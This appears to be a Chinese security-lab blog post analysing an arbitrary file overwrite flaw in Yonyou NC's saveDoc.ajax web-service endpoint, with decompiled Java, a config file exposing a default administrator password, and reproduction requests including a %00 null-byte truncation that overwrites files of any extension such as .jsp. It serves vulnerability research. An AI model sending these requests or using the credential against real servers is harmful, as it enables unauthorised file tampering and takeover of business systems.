雷石|用友NC的任意文件覆盖漏洞分析

最近看到一个NC的任意文件上传漏洞,自己在复现的时候不知是版本问题还是姿势问题怎么都不成功,遂分析了一下。
01.
漏洞分析
以下分析及复现均在NC6.3和NC6.5版本下进行。
已知是saveDoc.ajax接口存在问题,先看存在漏洞的功能模块下的配置文件。
<config><action-mappings ><action path="/getAllServices.ajax"type="nc.uap.ws.console.action.GetServicesAction" /><action path="/login.ajax"type="nc.uap.ws.console.action.LoginAction" /><action path="/getBasicInfo.ajax"type="nc.uap.ws.console.action.GetBasicInfoAction" /><action path="/getWssInfo.ajax"type="nc.uap.ws.console.action.GetWssInfoAction" /><action path="/getKSInfo.ajax"type="nc.uap.ws.console.action.GetKSInfoAction" /><action path="/saveDoc.ajax"type="nc.uap.ws.console.action.SaveDocAction" /><action path="/loadDoc.ajax"type="nc.uap.ws.console.action.LoadDocAction" /><action path="/loadReqTemplete.ajax"type="nc.uap.ws.console.action.GenSoapRequestAction" /><action path="/soapRequest.ajax"type="nc.uap.ws.console.action.SoapRequestAction" /><action path="/soapFormat.ajax"type="nc.uap.ws.console.action.SoapFormatAction" /></action-mappings><login name = "administrator" password="ufsoft*12345"/></config>
找到了相应的jar包,查看该接口的代码,如下:
public class SaveDocAction implements IAction {public Faults execuse(HttpServletRequest req,HttpServletResponse resp) {String ws = req.getParameter("ws");String content = req.getParameter("content");DocHelper manager = new DocHelper(Config.getDocDir());try {if (ws == null || content == null) {resp.setStatus(401);resp.getWriter().write("0");resp.sendError(401,"Not certified");} else {manager.saveDoc(ws, content);}} catch (IOException e) {Logger.error(e.getMessage(), e);}return null;}}
获取了两个参数,ws和content,先检查是否空值,空值就响应401了,不为空时会传给DocHelper类的saveDoc函数处理。
来看saveDoc的代码:
public void saveDoc(String ws, String content) throwsIOException {File dir = new File(this.DocDir);if (!dir.exists() || !dir.isDirectory())dir.mkdir();File file = new File(dir, ws + ".txt");FileOutputStream os = null;if (file.exists())try {os = new FileOutputStream(file);os.write(content.getBytes());} catch (IOException e) {throw e;} finally {if (null != os) {os.close();os = null;}}}}
先是检查路径是否存在,不存在先创建路径,然后创建File对象,此时文件还未存入磁盘。
这里创建FIle对象时 用了两个参数拼接 dir是默认的路径,ws是用户提交的在这里拼接了.txt后缀。
接着是file.exists() 判断文件是否存在,不存在时使用文件流(FileOutputStream)将数据写入磁盘文件。
由于ws参数是可控的且没有检查过滤,就造成了任意文件上传漏洞吗?
注意看 if (file.exists())的部分,
这里的写入文件之前 ,并没有使用createNewFile()创建文件,如果上传的文件是磁盘中本身不存在文件,这里执行完也不会有新文件创建,如果上传的文件路径 已经有了旧文件,那就会覆盖旧文件内容。
下面通过复现过程来理解漏洞
02.
漏洞复现
1.先访问接口,接口存在但返回了401,没有权限
/uapws/saveDoc.ajax?ws=vvv&content=vvv
补上两个参数,绕过了认证权限,返回200
/uapws/saveDoc.ajax?ws=vvv&content=vvv

按照刚才对代码的分析,此时如果是正常的文件上传情况下,应该会在磁盘的目录内写入 vvv.txt 的文本文件。
但我们分析了代码缺少createNewFile(),实际结果是。

但如果服务器已经存在的文件,是否能写入?即“文件覆盖”先创建aaa.txt

然后发送请求,覆盖文件。
http://10.168.20.203:9000/uapws/saveDoc.ajax?ws=aaa&content=aaayes
执行结果如图

也可以通过00截断来绕过。txt后缀限制
POST http://10.168.20.203:9000/uapws/saveDoc.ajax?ws=test.jsp%00content=testok
2.使用00截断
3.成功覆盖任意后缀文件

结语:
又是被瞎命名忽悠的一天~
杭州漠坦尼科技有限公司
商务咨询:
0571-87031601
商务邮箱:
mtn@motanni.com
雷石安全实验室
欢迎关注我们!
本文作者:xueqi
